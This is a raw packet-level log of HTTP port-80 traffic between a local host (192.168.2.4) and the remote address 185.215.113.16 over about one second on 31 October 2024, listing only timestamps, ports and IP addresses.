Oct 31, 2024 23:37:19.843918085 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843929052 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843930960 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.843945980 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.843971968 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843982935 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843997955 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844008923 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844014883 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.844019890 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844031096 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844039917 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.844042063 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844060898 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844064951 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.844072104 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844083071 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844094992 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844094038 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.844103098 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.844130993 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.844315052 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844326019 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844336987 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844346046 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844357967 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844369888 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844377041 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.844399929 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.844460011 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844470978 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844480038 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844491959 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844502926 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844512939 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844532967 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844535112 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.844543934 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844552040 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.844557047 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844568014 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844578028 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844584942 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.844588041 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844599009 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844610929 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844613075 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.844623089 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844625950 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.844635963 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844652891 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.844675064 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.844676971 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844688892 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844697952 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844708920 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844747066 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.844749928 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844754934 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.844762087 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844774008 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844784975 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844794035 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844796896 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.844805002 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844815016 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844822884 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.844832897 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.844877958 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844888926 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844942093 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.844983101 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.844994068 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845007896 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845017910 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845027924 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845029116 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.845038891 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845045090 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845043898 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.845050097 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845083952 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845093966 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845107079 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.845132113 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.845204115 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845215082 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845225096 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845236063 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845246077 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845261097 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845272064 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845282078 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845290899 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.845292091 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845302105 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.845330954 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845339060 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.845343113 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845355034 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845375061 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.845453978 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845464945 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845474958 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845485926 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845496893 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845527887 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.845554113 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.845592976 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845603943 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845613003 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845623016 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845633030 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845643997 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845643997 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.845659971 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845671892 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845674992 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.845683098 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845694065 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845702887 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845706940 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.845721960 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.845885038 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845896006 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845906019 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845916986 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845923901 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.845927954 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845938921 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845942020 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.845954895 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845962048 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.845966101 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845978022 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845993996 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.845993996 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.846007109 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846014023 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.846019030 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846031904 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846040964 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846044064 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.846051931 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846062899 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846071005 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.846072912 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846085072 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846087933 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.846097946 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846107960 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846117973 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846122980 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.846128941 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846138954 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846142054 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.846151114 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846167088 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846173048 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.846194983 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846205950 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846211910 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.846218109 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846229076 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846239090 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846251965 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.846276045 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.846451044 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846462011 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846471071 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846487999 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846497059 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.846499920 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846512079 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846522093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846523046 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.846538067 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.846540928 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846553087 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846555948 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.846570015 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846580982 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846590042 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846596956 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.846602917 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846621037 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846622944 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.846635103 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846638918 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.846646070 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846659899 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846669912 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846681118 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846689939 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.846690893 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846702099 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.846719027 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846726894 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.846730947 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846741915 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846752882 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846754074 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.846765041 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846785069 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.846785069 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.846842051 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846852064 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846860886 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846879005 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846889019 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.846915007 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.846976042 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846987009 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.846997023 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.847008944 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.847027063 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.847060919 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.847100973 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.847110987 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.847121000 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.847131014 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.847141981 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.847165108 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.847177029 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.847248077 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.847259998 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.847269058 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.847280025 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.847290993 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.847311020 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.847331047 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.847388983 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.847410917 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.847420931 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.847443104 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.847457886 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.847598076 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.847609997 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.847620010 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.847641945 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.847682953 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.847693920 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.847703934 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.847716093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.847724915 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.847759008 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.847809076 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.847851038 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.890681028 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.890697956 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.890708923 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.890719891 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.890731096 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.890741110 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.890743017 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.890752077 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.890791893 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.890816927 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.890826941 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.890836954 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.890846968 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.890860081 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.890877008 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.958556890 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.958569050 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.958584070 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.958628893 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.958697081 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.958708048 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.958717108 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.958729982 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.958739042 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.958765984 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.958781004 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.958791971 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.958802938 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.958816051 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.958837986 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.958851099 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.958944082 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.958956003 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.958965063 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.958977938 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.958996058 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.959028959 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959048033 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959058046 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959081888 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.959105968 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959116936 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959126949 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959137917 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959146023 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.959160089 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.959187031 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959197998 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959208012 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959216118 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.959223986 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959243059 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.959248066 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959258080 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959269047 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959276915 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.959280014 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959295988 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959297895 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.959325075 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.959458113 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959469080 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959479094 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959498882 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959513903 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959516048 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.959525108 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959537029 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959541082 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.959547043 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959549904 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.959573030 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.959638119 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959651947 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959661007 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959671974 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959681988 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959690094 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.959693909 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959708929 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.959717989 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.959779024 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959789038 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959798098 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959805965 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959811926 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959817886 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.959830046 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959841013 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959845066 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.959850073 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.959853888 CET	49739	80	192.168.2.4	185.215.113.16
